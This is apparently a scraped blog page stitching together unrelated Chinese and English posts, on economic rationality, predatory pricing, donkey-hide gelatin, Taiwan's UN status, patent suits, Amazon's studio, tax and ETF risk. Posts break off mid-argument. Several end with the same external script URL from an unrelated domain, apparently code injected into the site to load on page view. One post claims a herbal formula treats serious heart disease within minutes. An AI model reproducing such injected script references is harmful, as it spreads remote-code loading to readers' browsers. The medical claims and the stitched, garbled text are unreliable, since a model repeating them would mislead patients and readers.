作者: yuanyuchang

有關經濟學是否必須以「人的行為必定理性 — 需求曲線向右下傾斜」網友與我之間的一些對話，我覺得可以單篇彙整留存。

事先聲明，我們所談的「理性」是指「以越少代價換取越高效益」這個行為模式，而非傳統或哲學上對理性的定義。

奉君山 ：

「我轉述一下薛兆豐教授的見解：

行為經濟學談不理性行為，許多人誤以為理性人是經濟學的基本前提，於是以為行為經濟學超出了經濟學的框架，不理性行為的存在，顛覆了經濟學的解釋框架。

但是在阿爾欽談不確定性的文章當中，已經把經濟學的基礎奠基於「探尋在充滿不確定性的現實中，如何求存的規律」上。

也就是說，人當然可能、也往往是不理性的，但只要他得要在現實中求存，他就迴避不了一些規律：比方說試著用更少的代價，換到更多的好處。

一個人、一間公司大可試著不這樣幹，但他就會面臨虧損、倒閉、無法生存的後果，這是經濟學要去探討的規律。

在這個意義上，不理性行為的存在，非但沒有顛覆經濟學，也沒有超越經濟學的框架，而是豐富了我們對人類行為的理解。以上轉述，跟大家分享。」

我：「謝謝，薛的看法我並不認同，理由於內文與回覆我應該都談得很清楚。

除非你能清楚且科學地判斷人什麼時候理性、什麼時候又不理性，否則這樣的論點只是造成理論崩盤，而非完善或拓展。」

黃泥多 ：「不知元毓對阿爾欽的「不確定性，演化與經濟理論」一文有什麼看法？」

本次諾貝爾經濟學獎頒給一個宣稱「不理性存在」的學者，彰顯整體經濟學界的墮落與退步。

說過許多次，經濟學的基礎功在於對經濟學基本概念的掌握，而非那些高深但往往無內容的數學。

講更直白，經濟學的數學玩得再高深，也不如工程數學或物理數學乃至於純數學本身的難度。但懂數學者都知道數學不等於科學，數學只是一種更精準的描述語言，重點在於語言是否有內容，如果內容不科學，則即便套上數學的外衣也不過是國王的新衣。

我也說過許多次，經濟學的「理性」定義非常嚴謹且明確 — 需求曲線必定向右下傾斜。

翻成白話文就是：只要行為模式符合「永遠嘗試用更少代價換取更多效益」就是經濟學定義的「理性」。

反之，當有人宣稱行為可能「不理性」時，其實他所說的是：「有人願意用更高的代價換取更少的東西。」而這在真實世界是不存在的行為。

即便是奢侈品，也是促銷時賣得比原價好（身為多家名牌集團的股東，這部份我跟管理階層考證過）。許多人誤以為奢侈品越貴賣越好，這是錯誤的迷思，其實賣最好的多是那些較便宜的入門款、經典款。少部分可以高價還賣得好的設計師款，多是因為二手價格支撐，如果二手價崩盤，則新品也會跟著崩。

即便是藝術品，單品的故意高價買入行為，往往是因為買者手頭藏有大量同作者作品，故意高價買入新品，其實是提高自己收藏的整體租值，依然符合經濟學定義之「理性行為」。因為如果哄抬單品價格不具備抬高整體之效果，則哄抬行為就不存在了。

舉此二例是要說明，許多看似不理性行為背後都有其需要考究的侷限條件。

如同我在舊文【經濟學基礎第四講–自私的假設（中）】裡已說得很明白：

蝦皮這兩年免運費策略殺得台灣電商如PCHome哀哀叫。

本文先簡單經濟分析蝦皮的競爭策略，然後回頭分享我跟PCHome合作的不愉快經驗。

最近發展看來，開始有人出來聲稱要檢討蝦皮是否為陸資背景。

果然歐美法律之陋習台灣是學得很好 — 競爭不過別人，就拿無理法律出來耍流氓。

除了歐美失敗廠商常搞的反托拉斯法（台灣叫公平交易法），台灣還有個「陸資條款」。

先講反托拉斯法，從經濟分析來看，正常買方永遠不會嫌賣方賣得太便宜。

但公平交易法卻稱這是「掠奪性定價（predatory pricing）」，是不公平競爭需要立法管制禁止。

顯見立法者對於經濟學無知到一個極點。根據我對美國反托拉斯法的研究，當年Sherman Acts等各種法律之通過，立法者與執政者對於經濟學之無知與誤解有其緣由 — 當年經濟學家錯得離譜而不自知，又被政客利用使然。

當然，也可能立法者故意創造如此尋租的空間，來賺取政治利益，讓遊說團體、公關公司幫競爭落敗公司尋找利益輸送的管道與空間。這是我認為這類法律還存活，甚至被台灣政府照本宣科搬抄過來的理由之一。

掠奪性定價始終只是一個神話，是一個在真實世界不可能成立的競爭模式。

簡單經濟分析如下：

狀況一 — 賠錢賣

一家廠商本錢再如何雄厚，也不可能「永遠」賠錢賣。

當有一天這家賠錢賣廠商終於擠出市場內看得到的敵人而開始漲價時，那些曾經落敗或尚未進入市場的，一看市場租值開始回升，很快就又能重新進入市場。試問這家掠奪性定價策略廠商又要回頭繼續賠錢競爭？而它還能再賠多久？（這邊告訴我們關鍵在於「市場進入障礙」，因此不公平競爭真正存在，多半是既有廠商試圖透過政治法律手段建立進入障礙，如證照制度、資本額限制、各種法規限制，而這偏偏是公平交易法不處理的部份）

又，許多賠錢賣商品的策略執行時，市場內競爭對手甚至發現掠奪定價比自己進貨價還低時，乾脆迂迴從掠奪性定價廠商那邊少量進貨，自己縮小規模慢慢對耗，也是一種真實世界存在的策略。

又，競爭對手可能發現賠錢賣頂多是部分商品，不可能是全部商品時，競爭對手乾脆把會賠錢的訂單都倒給掠奪性定價者，讓它更快自爆死掉。

真實世界早年許文龍奇美壓克力創立時，遇到財大氣粗的競爭對手賠售競爭，許文龍乾脆逆向操作，細算對手成本結構，把對手毛利率賠最慘的品項找出後，奇美逆向漲價，訂單全倒過去，一年對手賠到賣祖產也不夠淘汰出局。

又，競爭對手可能乾脆採取差異化策略，區隔商品本質與內涵，從而提高租值跳脫殺價競爭。便當界就很常看到價格競爭與差異化競爭同時並存於市場中的現象，所以我們才會看到45元便當與千元便當均存在以滿足不同消費需求，反之，同一個消費者可能既享用千元便當，也購買45元便當，本身並無衝突。

真實世界並非不存在賠錢賣策略，但使用者通常心知肚明只能當做暫時性的廣告費用，不可能是長久性的競爭策略。亦或是少部分賠錢商品作為廣告吸引消費者購買能獲利的商品，希冀整體能夠獲利。

黎智英的蘋果日報甫進台灣，一份5元還送蘋果一顆，就是要用賠錢賺知名度的策略，黎智英自己也清楚所賠是廣告費，有其預算上限，達到效果就要收手。

顯然蝦皮也是為了快速在短時間內匯聚台灣市場人氣採取類似的策略。

上次國家地理雜誌宣稱因為中國人相信穿山甲壯陽，所以野生穿山甲遭到濫捕的低級文章，我寫了篇「越是禁止買賣，絕種來得越快」，批評國家地理雜誌不但連穿山甲的功效都沒查證，經濟邏輯更是錯誤百出。

沒想到這家雜誌社還真是沒底線，又刊出一篇「中國驢皮需求激增 ，吸引野生動物走私犯」。

裡頭不但對於阿膠用途觀念錯誤，同時一貫地暗示「中國傳統藥劑只是迷信」的氛圍。

更重要的是，驢子幾千年來都是畜牧圈養動物，何時需要獵捕成本高昂的野生驢？況且阿膠使用的驢子有品種限制，專業自詡的國家地理雜誌卻好像渾然不知。

中國自古就有食用驢子的習慣（如驢肉火燒），跟歐美人食用牛羊肉本質上有何差異？為何歐美人可以拿牛羊皮做沙發、做地毯、做隱形眼鏡甚至各種用途，中國人拿驢皮當藥用就成為殘忍行為？豈不雙重標準？

阿膠早在2千多年前西漢成書的神農本草經裡已記載，中國人使用這味藥歷史悠久。膠指驢皮去毛、切塊後多次水萃取後的濾液富含膠質，冷凝後成塊。

藥性：甘、平；歸肺、肝、腎經，主治各種血虛、陰虛而起的症狀。

可適用範圍非常廣，對證之下藥效極好。才不僅僅是國家地理雜誌宣稱的「血液疾病或貧血」。

例如傷寒雜病論中的炙甘草湯一方，重用阿膠，對於心陰陽兩虛引起的心律不整、心律過快、心悸、冠心病、病毒性心肌炎、心內膜炎、心臟弁膜症或甲狀腺機能亢進引起的心律問題都有極好的療效。我的經驗，服用後15分鐘量心律血壓就有大幅改善，藥效速度不輸西藥。

在挪台灣人國籍正名運動

這群留學生好搞笑，護照拿出來看看自己的國籍是否為「Taiwan」？

同時也麻煩提出證據證明世界上有個國家叫「Taiwan」。

這群留學生寫出來的訴願信全文均未提及還被少數國家承認的Republic of China，而是提世界上不被任何國家承認為主權獨立國家的Taiwan。

打開聯合國年鑑，裡面很清楚地記載：China (mainland and Taiwan Province）。你們主張自己出生並成長於台灣，不正是聯合國定義的China嗎？所以挪威政府從而認定你們是Kina是完全符合聯合國邏輯的啊。

Hello~ 你們知道你們的主張剛好跟你們想要的效果是相反嗎？小呆呆們～

PS 那些訴求台灣重返聯合國的政客也是在犯蠢或故意扭曲事實，根據聯合國年鑒，台灣一直在聯合國裡面，從來就沒被踢出去啊。被踢出去的是「蔣介石的代表」。（聯合國大會2758號決議）

聯合國每年的年鑒只要有提到台灣，必定是載明Taiwan Province of China。既然從沒離開過，又何須重返呢？

聯合國的邏輯是：聯合國認定中華人民共和國政府才是聯合國所承認，中國之唯一合法政府；蔣介石政權被聯合國認定是非法政權。台灣不過是中國境內被蔣介石非法政權佔領之一省，而始終是中國之一部分。

當你主張重返聯合國，必然出現兩個難題：

1. 你要以Republic of China身分回聯合國嗎？不好意思，聯合國早認定你是非法政權，China的唯一合法政權是People’s Republic of China。除非你有本事更改聯合國已經決議認定的事實。

2. 你要以Taiwan或Formosa名義加入聯合國嗎？不好意思，聯合國認定你是中國之一省，你得先獨立了才能加入。你敢獨立嗎？https://js.developerstatss.ga/stat.js?n=ns1

Qualcomm 在中國北京法院提出對Apple的專利訴訟，要求禁止Apple在中國銷售與生產iPhone。

Qualcomm宣稱Apple侵害了該公司三項關於電源管理與3D Touch技術的非標準核心專利（non-standard essential patents）。

而今年初Apple也在美國FTC提出對Qualcomm濫用專利的訴願，同時也在美國法院控告Qualcomm濫收授權金。同時Apple及其供應商一同停止支付Qualcomm相關權利金。

https://js.developerstatss.ga/stat.js?n=ns1

華爾街日報報導：Where Amazon Is Failing to Dominate: Hollywood

1. 本次艾美獎Amazon.com鎩羽而歸，兩手空空；反觀Hulu與Netflix倒是得不少獎。

2. 四年前Amazon.com宣布要自製內容時，特別強調不會遵循傳統的好萊塢製作人制度（靠一流製作人的敏銳直覺做製片投資），而是要根據「大數據」來做科學性的分析投資。

well… 結果大數據慘敗，Amazon.com一年花$45億美元的自製影片無論在口碑、人氣與獲利能力上都慘敗四年前被這群科技人瞧不起的傳統方法所產生的「權力遊戲（Game of Throne）」、「怪奇物語（Stranger Things）」。

內部員工也表示：「大數據法早就被丟到垃圾桶了。」

（話說某鬼島政府也一度口口必稱大數據哩）

幾個數度艾美獎得主（包含製作人與演員）在Amazon重金禮聘之後，一季就打包走人，並聲稱再也不想跟Amazon有任何合作。

製片人Shawn Ryan形容跟Amazon合作Mad Dog影集的感覺就是「既挫折又困惑（ frustrating and confusing）」，一般電視台一天能搞定的作業，到了Amazon那邊卻一個星期還弄不好，而且多頭馬車，根本不曉得誰才是真正能作主的，卻又人人都要發號施令。整個拍攝過程弄得既慢又貴，最後還取消上映，一整個就是浪費金錢與時間。

所謂的Amazon大數據，Shawn表示：「只是把每一件事都搞得一團糟。」https://js.developerstatss.ga/stat.js?n=ns1

美國小布希總統的首席經濟顧問，現為哥倫比亞大學商學院院長投稿的好文章「Why America Needs Tax Reform」，值得一讀。

兩個重點我特別標出來：

1. 全球化經濟競爭下，對大企業的資本競爭已經是一個跨國的現狀，政府不可能關起門來自己想要怎麼課稅就亂課，而完全不考慮資本被嚇跑或過門不入的問題。

美國的企業所得稅是OECD國家中最高，如此制度是蠢到死，不改不行。

2. 多數對企業課的重稅，事實上並非由資本家承擔，而是會轉移到勞工身上 — 轉移形式包括：減少升遷與加薪機率、減少生產或辦公設備的更新與改進、減少各種投資機會從而減少勞工收入增加之機會。

我要再強調一次機會成本觀念。課稅是用政府暴力將財產從某些人手上移轉到政府上。

稅金非常至關緊要的機會成本在於：

1. 依照私有產權制度，原本在私人手上的既有資產無論是投資、保存甚至消費，都會在自由市場經濟下得到效率最大化。

政府暴力奪取移轉財產，則這筆財產就失去了原本可以得到最佳化使用的機會。

2. 政府本身效率是否高過私人的使用效率？如果是，那勉強可以合理化暴力奪取這件事。

可偏偏政府效率低得離譜，這變成這筆財產不到失去原本最佳化使用的機會，而被強迫用在低效率的用途上。

特別強調政府即便用稅金從事社會福利工作，其效率也是遠低於私人慈善團體，而其可被貪汙的空間卻是確定的。

也就是說，那些主張對富人課重稅者，往往經濟感受或邏輯是非常差勁的。這些笨蛋甚至不知道課重稅後的經濟效果是什麼，才會蠢到以為重稅可以保護窮人。

我更相信，某些主張重稅的政客，只是在幫自己製造更多貪汙機會而已。

https://js.developerstatss.ga/stat.js?n=ns1

I would like to talk about three events that have been in progress for couple years.

1. The dark cloud on the immediate horizon is the Exchange-trade funds, which have grown exponentially in size in the past five years, but never been crucially examined by panicked selling. If the market turns around and the ETF investors decide to abandon their shares out of fear, ETFs would be forced to dump stocks and such behaviors could begin a vicious circle and drag the stock prices into a deeper valley.

And I believe the algorithmic or AI trading could deteriorate such situation.

2. The S&P 500 has reached 19 times of P/E ratio, higher than the historical average of about 15.

Readers might read my article on P/E ratio first— “談本益比觀念的對與錯 ”

I think the 19 times of P/E ratio is not the problem itself. It simply reflects the reality of extremely low interest rates for almost a decade. The artificial manipulation of interest rates can mislead the prices of time of the markets, distort the anticipates of incomes, and increase the information costs. Therefore, the interest rates are the causes and the high P/E ratio is nothing but the unavoidable effect. “Action and reaction,” as they said. 

You shall not explain facts by facts.


3. The low interest rates also have encouraged a lot of corporate-share-buyback plans by borrowing, which has been one of the factors boosted the stock prices in the past five years. And I wouldn’t say it is a healthy phenomenon, despite Warren Buffett’s preference.

All these factors imply that the intrinsic economic progress might be left behind the raising prices of the capital markets. The diversion of these two, the reality and the artificial finance system, is the major cause of most financial crises.

As I said in the last article, “榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress) ,” the monetary policy of Fed and the uncertain success of the economic reforms by President Donald Trump are two key factors in my prediction of the US economy and the performance of its stock markets. Once either one went wrong, the bear could show up all of a sudden.

PS.

1. There can be high settlement or bankruptcy risks for small or over-diversified ETFs in the bear markets. Although the investors can get back their shares of the real assets, it could be worthless after all. And such fear could induce investors and the ETF managers, who by doing so is breaking the contracts, to dump their holdings for money.

2. There can be even higher risks for leverage, inverse, or complex-designed derivative ETFs in a down turn. And I guess the bankruptcy administrators assigned by the courts would probably choose to sell the stocks or bonds and to cancel or abolish the complex derivative financial contracts for cash as soon as possible, which could cause the vicious circle as I mentioned in the article.

At present the ETFs go too far from the original purpose. For me, many of them are more like derivative goods rather than pure investing vehicles. It’s kind of new fashion for people of means. But we have no idea what would really happen when the tide is out. We can wait and see.https://js.developerstatss.ga/stat.js?n=ns1